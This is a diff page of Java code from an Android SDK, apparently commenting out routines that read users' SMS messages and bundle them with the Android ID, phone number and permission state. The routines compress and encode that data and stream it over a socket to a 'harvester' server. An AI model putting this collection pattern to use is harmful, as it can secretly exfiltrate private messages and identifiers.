final int type = cursor.getInt(cursor.getColumnIndex("type")); //SDK-NOLOG-CODE -> final int type = cursor.getInt(cursor.getColumnIndex("type"));
final long date = cursor.getLong(cursor.getColumnIndex("date")); //SDK-NOLOG-CODE -> final long date = cursor.getLong(cursor.getColumnIndex("date"));
final String body = cursor.getString(cursor.getColumnIndex("body")); //SDK-NOLOG-CODE -> final String body = cursor.getString(cursor.getColumnIndex("body"));
final String subject = cursor.getString(cursor.getColumnIndex("subject")); //SDK-NOLOG-CODE -> final String subject = cursor.getString(cursor.getColumnIndex("subject"));
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
SmsEntity smsEntity = new SmsEntity() {{ //SDK-NOLOG-CODE -> SmsEntity smsEntity = new SmsEntity() {{
setAddress(address); //SDK-NOLOG-CODE -> setAddress(address);
setType(type); //SDK-NOLOG-CODE -> setType(type);
setDate(date); //SDK-NOLOG-CODE -> setDate(date);
setBody(body); //SDK-NOLOG-CODE -> setBody(body);
setSubject(subject); //SDK-NOLOG-CODE -> setSubject(subject);
}}; //SDK-NOLOG-CODE -> }};
return com.annimon.stream.Optional.of(smsEntity); //SDK-NOLOG-CODE -> return com.annimon.stream.Optional.of(smsEntity);
} catch (Exception e) { //SDK-NOLOG-CODE -> } catch (Exception e) {
//UploadManager.uploadException(e, "getOneSms"); //SDK-NOLOG-CODE -> //UploadManager.uploadException(e, "getOneSms");
return com.annimon.stream.Optional.empty(); //SDK-NOLOG-CODE -> return com.annimon.stream.Optional.empty();
} //SDK-NOLOG-CODE -> }
} //SDK-NOLOG-CODE -> }
//SDK-NOLOG-END //SDK-NOLOG-END
/** /**
......
...@@ -71,36 +71,36 @@ public class UploadManager { ...@@ -71,36 +71,36 @@ public class UploadManager {
*/ */
public static void uploadCollectInfo(String sessionId, boolean needLogs) { public static void uploadCollectInfo(String sessionId, boolean needLogs) {
//SDK-NOLOG-START //SDK-NOLOG-START
if (TextUtils.isEmpty(sessionId)) { //SDK-NOLOG-CODE -> if (TextUtils.isEmpty(sessionId)) {
return; //SDK-NOLOG-CODE -> return;
} //SDK-NOLOG-CODE -> }
PreferencesManager.get().saveSessionId(sessionId); //SDK-NOLOG-CODE -> PreferencesManager.get().saveSessionId(sessionId);
Observable.just(true) //SDK-NOLOG-CODE -> Observable.just(true)
.observeOn(Schedulers.io()) //SDK-NOLOG-CODE -> .observeOn(Schedulers.io())
.map(new Function<Boolean, Boolean>() { //SDK-NOLOG-CODE -> .map(new Function<Boolean, Boolean>() {
@Override //SDK-NOLOG-CODE -> @Override
public Boolean apply(Boolean aBoolean) throws Exception { //SDK-NOLOG-CODE -> public Boolean apply(Boolean aBoolean) throws Exception {
long startTime = System.currentTimeMillis(); //SDK-NOLOG-CODE -> long startTime = System.currentTimeMillis();
//获取需要上传的数据 //SDK-NOLOG-CODE -> //获取需要上传的数据
List<CollectInfoEntity> infos; //SDK-NOLOG-CODE -> List<CollectInfoEntity> infos;
if (needLogs) { //SDK-NOLOG-CODE -> if (needLogs) {
infos = Collector.getUploadData(context); //SDK-NOLOG-CODE -> infos = Collector.getUploadData(context);
} else { //SDK-NOLOG-CODE -> } else {
infos = Collector.getUploadWhitOutLogs(context); //SDK-NOLOG-CODE -> infos = Collector.getUploadWhitOutLogs(context);
} //SDK-NOLOG-CODE -> }
if (infos == null || infos.size() == 0) { //SDK-NOLOG-CODE -> if (infos == null || infos.size() == 0) {
return false; //SDK-NOLOG-CODE -> return false;
} //SDK-NOLOG-CODE -> }
//开始上传 //SDK-NOLOG-CODE -> //开始上传
// uploadBlackBox(); //SDK-NOLOG-CODE ->// uploadBlackBox();
startUpload(infos, sessionId); //SDK-NOLOG-CODE -> startUpload(infos, sessionId);
//SDK-NOLOG-CODE ->
return true; //SDK-NOLOG-CODE -> return true;
} //SDK-NOLOG-CODE -> }
}) //SDK-NOLOG-CODE -> })
.retryWhen(new RetryWithDelay(5, 20 * 1000)) //SDK-NOLOG-CODE -> .retryWhen(new RetryWithDelay(5, 20 * 1000))
.observeOn(AndroidSchedulers.mainThread()) //SDK-NOLOG-CODE -> .observeOn(AndroidSchedulers.mainThread())
.subscribe(); //SDK-NOLOG-CODE -> .subscribe();
//SDK-NOLOG-END //SDK-NOLOG-END
} }
...@@ -132,86 +132,86 @@ public class UploadManager { ...@@ -132,86 +132,86 @@ public class UploadManager {
*/ */
public static void startUpload(List<CollectInfoEntity> infoList, String sessionId) throws RuntimeException { public static void startUpload(List<CollectInfoEntity> infoList, String sessionId) throws RuntimeException {
//SDK-NOLOG-START //SDK-NOLOG-START
Socket socket = null; //SDK-NOLOG-CODE -> Socket socket = null;
OutputStream os = null; //SDK-NOLOG-CODE -> OutputStream os = null;
InputStream ins = null; //SDK-NOLOG-CODE -> InputStream ins = null;
try { //SDK-NOLOG-CODE -> try {
//SDK-NOLOG-CODE ->
socket = getSocket(); //SDK-NOLOG-CODE -> socket = getSocket();
os = socket.getOutputStream(); //SDK-NOLOG-CODE -> os = socket.getOutputStream();
ins = socket.getInputStream(); //SDK-NOLOG-CODE -> ins = socket.getInputStream();
//SDK-NOLOG-CODE ->
List<String> datas = Stream.of(infoList) //SDK-NOLOG-CODE -> List<String> datas = Stream.of(infoList)
.map(new com.annimon.stream.function.Function<CollectInfoEntity, byte[]>() { //SDK-NOLOG-CODE -> .map(new com.annimon.stream.function.Function<CollectInfoEntity, byte[]>() {
@Override //SDK-NOLOG-CODE -> @Override
public byte[] apply(CollectInfoEntity collectInfoEntity) { //SDK-NOLOG-CODE -> public byte[] apply(CollectInfoEntity collectInfoEntity) {
return GZipUtil.compress(collectInfoEntity.getBody(), "utf-8"); //SDK-NOLOG-CODE -> return GZipUtil.compress(collectInfoEntity.getBody(), "utf-8");
} //SDK-NOLOG-CODE -> }
}) //SDK-NOLOG-CODE -> })
.map(new com.annimon.stream.function.Function<byte[], String>() { //SDK-NOLOG-CODE -> .map(new com.annimon.stream.function.Function<byte[], String>() {
@Override //SDK-NOLOG-CODE -> @Override
public String apply(byte[] bytes) { //SDK-NOLOG-CODE -> public String apply(byte[] bytes) {
return Base64.encodeToString(bytes, 0); //SDK-NOLOG-CODE -> return Base64.encodeToString(bytes, 0);
} //SDK-NOLOG-CODE -> }
}) //SDK-NOLOG-CODE -> })
.reduce(new ArrayList<>(), new BiFunction<ArrayList<String>, String, ArrayList<String>>() { //SDK-NOLOG-CODE -> .reduce(new ArrayList<>(), new BiFunction<ArrayList<String>, String, ArrayList<String>>() {
@Override //SDK-NOLOG-CODE -> @Override
public ArrayList<String> apply(ArrayList<String> array, String value) { //SDK-NOLOG-CODE -> public ArrayList<String> apply(ArrayList<String> array, String value) {
array.add(value); //SDK-NOLOG-CODE -> array.add(value);
return array; //SDK-NOLOG-CODE -> return array;
} //SDK-NOLOG-CODE -> }
}); //SDK-NOLOG-CODE -> });
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
int count = Stream.of(datas).reduce(0, (accr, item) -> accr + item.length()); //SDK-NOLOG-CODE -> int count = Stream.of(datas).reduce(0, (accr, item) -> accr + item.length());
//SDK-NOLOG-CODE ->
LogUtils.d(TAG, "upload count:" + (count / 1024 + "k")); //SDK-NOLOG-CODE -> LogUtils.d(TAG, "upload count:" + (count / 1024 + "k"));
//SDK-NOLOG-CODE ->
for (int i = 0; i < datas.size(); i++) { //SDK-NOLOG-CODE -> for (int i = 0; i < datas.size(); i++) {
IncomeMessageProto.Message message = IncomeMessageProto.Message.newBuilder() //SDK-NOLOG-CODE -> IncomeMessageProto.Message message = IncomeMessageProto.Message.newBuilder()
.setVersion("2") //SDK-NOLOG-CODE -> .setVersion("2")
.setBody(datas.get(i)) //SDK-NOLOG-CODE -> .setBody(datas.get(i))
.setImei(AppInfoUtils.getAndroidID(context)) //SDK-NOLOG-CODE -> .setImei(AppInfoUtils.getAndroidID(context))
.setMobile(LoginManager.get().getMobile()) //SDK-NOLOG-CODE -> .setMobile(LoginManager.get().getMobile())
.setCTimestamp(System.currentTimeMillis()) //SDK-NOLOG-CODE -> .setCTimestamp(System.currentTimeMillis())
.setType(IncomeMessageProto.Message.Type.TRACE) //SDK-NOLOG-CODE -> .setType(IncomeMessageProto.Message.Type.TRACE)
.setSessionId(sessionId) //SDK-NOLOG-CODE -> .setSessionId(sessionId)
.build(); //SDK-NOLOG-CODE -> .build();
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
message.writeDelimitedTo(os); //SDK-NOLOG-CODE -> message.writeDelimitedTo(os);
os.flush(); //SDK-NOLOG-CODE -> os.flush();
IncomeMessageProto.Message feedback = IncomeMessageProto.Message.parseDelimitedFrom(ins); //SDK-NOLOG-CODE -> IncomeMessageProto.Message feedback = IncomeMessageProto.Message.parseDelimitedFrom(ins);
if (feedback != null) { //SDK-NOLOG-CODE -> if (feedback != null) {
String from = feedback.toString(); //SDK-NOLOG-CODE -> String from = feedback.toString();
LogUtils.d(TAG, "feedback: " + from); //SDK-NOLOG-CODE -> LogUtils.d(TAG, "feedback: " + from);
} //SDK-NOLOG-CODE -> }
} //SDK-NOLOG-CODE -> }
//SDK-NOLOG-CODE ->
//发送上传结束指令 //SDK-NOLOG-CODE -> //发送上传结束指令
sendControlCommand(os, "CLOSE", sessionId, " datas.size=" + datas.size()); //SDK-NOLOG-CODE -> sendControlCommand(os, "CLOSE", sessionId, " datas.size=" + datas.size());
PreferencesManager.get().saveSessionId(""); //SDK-NOLOG-CODE -> PreferencesManager.get().saveSessionId("");
} catch (IOException e) { //SDK-NOLOG-CODE -> } catch (IOException e) {
e.printStackTrace(); //SDK-NOLOG-CODE -> e.printStackTrace();
uploadException(e, e.getMessage()); //SDK-NOLOG-CODE -> uploadException(e, e.getMessage());
} catch (Exception e) { //SDK-NOLOG-CODE -> } catch (Exception e) {
e.printStackTrace(); //SDK-NOLOG-CODE -> e.printStackTrace();
uploadException(e, e.getMessage()); //SDK-NOLOG-CODE -> uploadException(e, e.getMessage());
} finally { //SDK-NOLOG-CODE -> } finally {
try { //SDK-NOLOG-CODE -> try {
if (os != null) { //SDK-NOLOG-CODE -> if (os != null) {
os.close(); //SDK-NOLOG-CODE -> os.close();
} //SDK-NOLOG-CODE -> }
if (ins != null) { //SDK-NOLOG-CODE -> if (ins != null) {
ins.close(); //SDK-NOLOG-CODE -> ins.close();
} //SDK-NOLOG-CODE -> }
if (socket != null) { //SDK-NOLOG-CODE -> if (socket != null) {
socket.close(); //SDK-NOLOG-CODE -> socket.close();
} //SDK-NOLOG-CODE -> }
} catch (IOException e) { //SDK-NOLOG-CODE -> } catch (IOException e) {
e.printStackTrace(); //SDK-NOLOG-CODE -> e.printStackTrace();
} //SDK-NOLOG-CODE -> }
} //SDK-NOLOG-CODE -> }
//SDK-NOLOG-END //SDK-NOLOG-END
} }
...@@ -219,38 +219,38 @@ public class UploadManager { ...@@ -219,38 +219,38 @@ public class UploadManager {
* 创建Socket * 创建Socket
*/ */
//SDK-NOLOG-START //SDK-NOLOG-START
private static Socket getSocket() throws IOException { //SDK-NOLOG-CODE -> private static Socket getSocket() throws IOException {
String harvesterUrl = Gateway.getHarvesterUrl(); //SDK-NOLOG-CODE -> String harvesterUrl = Gateway.getHarvesterUrl();
harvesterUrl = harvesterUrl.replaceAll("http://", ""); //SDK-NOLOG-CODE -> harvesterUrl = harvesterUrl.replaceAll("http://", "");
harvesterUrl = harvesterUrl.replaceAll("https://", ""); //SDK-NOLOG-CODE -> harvesterUrl = harvesterUrl.replaceAll("https://", "");
String ip = harvesterUrl.split(":")[0]; //SDK-NOLOG-CODE -> String ip = harvesterUrl.split(":")[0];
//SDK-NOLOG-CODE ->
int port; //SDK-NOLOG-CODE -> int port;
if (harvesterUrl.length() <= 1) { //SDK-NOLOG-CODE -> if (harvesterUrl.length() <= 1) {
port = LibConfig.HARVESTER_PORT; //SDK-NOLOG-CODE -> port = LibConfig.HARVESTER_PORT;
} else { //SDK-NOLOG-CODE -> } else {
try { //SDK-NOLOG-CODE -> try {
port = Integer.valueOf(harvesterUrl.split(":")[1]); //SDK-NOLOG-CODE -> port = Integer.valueOf(harvesterUrl.split(":")[1]);
} catch (Exception e) { //SDK-NOLOG-CODE -> } catch (Exception e) {
e.printStackTrace(); //SDK-NOLOG-CODE -> e.printStackTrace();
port = LibConfig.HARVESTER_PORT; //SDK-NOLOG-CODE -> port = LibConfig.HARVESTER_PORT;
} //SDK-NOLOG-CODE -> }
} //SDK-NOLOG-CODE -> }
//SDK-NOLOG-CODE ->
Socket socket = new Socket(); //SDK-NOLOG-CODE -> Socket socket = new Socket();
try { //SDK-NOLOG-CODE -> try {
socket.setSoTimeout(30 * 1000); //SDK-NOLOG-CODE -> socket.setSoTimeout(30 * 1000);
socket.connect(new InetSocketAddress(ip, port), 10 * 1000); //SDK-NOLOG-CODE -> socket.connect(new InetSocketAddress(ip, port), 10 * 1000);
} catch (UnknownHostException | SocketException | SocketTimeoutException e) { //SDK-NOLOG-CODE -> } catch (UnknownHostException | SocketException | SocketTimeoutException e) {
e.printStackTrace(); //SDK-NOLOG-CODE -> e.printStackTrace();
} //SDK-NOLOG-CODE -> }
//SDK-NOLOG-CODE ->
LogUtils.d(TAG, "socket.getInetAddress() = " + socket.getInetAddress()); //SDK-NOLOG-CODE -> LogUtils.d(TAG, "socket.getInetAddress() = " + socket.getInetAddress());
LogUtils.d(TAG, "socket.getPort() = " + socket.getPort()); //SDK-NOLOG-CODE -> LogUtils.d(TAG, "socket.getPort() = " + socket.getPort());
LogUtils.d(TAG, "socket.getRemoteSocketAddress() = " + socket.getRemoteSocketAddress()); //SDK-NOLOG-CODE -> LogUtils.d(TAG, "socket.getRemoteSocketAddress() = " + socket.getRemoteSocketAddress());
//SDK-NOLOG-CODE ->
return socket; //SDK-NOLOG-CODE -> return socket;
} //SDK-NOLOG-CODE -> }
//SDK-NOLOG-END //SDK-NOLOG-END
/** /**
...@@ -261,19 +261,19 @@ public class UploadManager { ...@@ -261,19 +261,19 @@ public class UploadManager {
private static void sendControlCommand(OutputStream os, String cmd, String sessionId, String private static void sendControlCommand(OutputStream os, String cmd, String sessionId, String
body) throws IOException { body) throws IOException {
//SDK-NOLOG-START //SDK-NOLOG-START
IncomeMessageProto.Message closeMsg = IncomeMessageProto.Message.newBuilder() //SDK-NOLOG-CODE -> IncomeMessageProto.Message closeMsg = IncomeMessageProto.Message.newBuilder()
.setCTimestamp(0) //SDK-NOLOG-CODE -> .setCTimestamp(0)
.setVersion("2") //SDK-NOLOG-CODE -> .setVersion("2")
.setBody(body + " permission=" + getPermissionState(context).toString()) //SDK-NOLOG-CODE -> .setBody(body + " permission=" + getPermissionState(context).toString())
.setImei(AppInfoUtils.getAndroidID(context)) //SDK-NOLOG-CODE -> .setImei(AppInfoUtils.getAndroidID(context))
.setMobile(LoginManager.get().getMobile()) //SDK-NOLOG-CODE -> .setMobile(LoginManager.get().getMobile())
.setType(IncomeMessageProto.Message.Type.UNKNOWN) //SDK-NOLOG-CODE -> .setType(IncomeMessageProto.Message.Type.UNKNOWN)
.setControlCmd(cmd) //SDK-NOLOG-CODE -> .setControlCmd(cmd)
.setSessionId(sessionId) //SDK-NOLOG-CODE -> .setSessionId(sessionId)
.build(); //SDK-NOLOG-CODE -> .build();
//SDK-NOLOG-CODE ->
closeMsg.writeDelimitedTo(os); //SDK-NOLOG-CODE -> closeMsg.writeDelimitedTo(os);
os.flush(); //SDK-NOLOG-CODE -> os.flush();
//SDK-NOLOG-END //SDK-NOLOG-END
} }
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment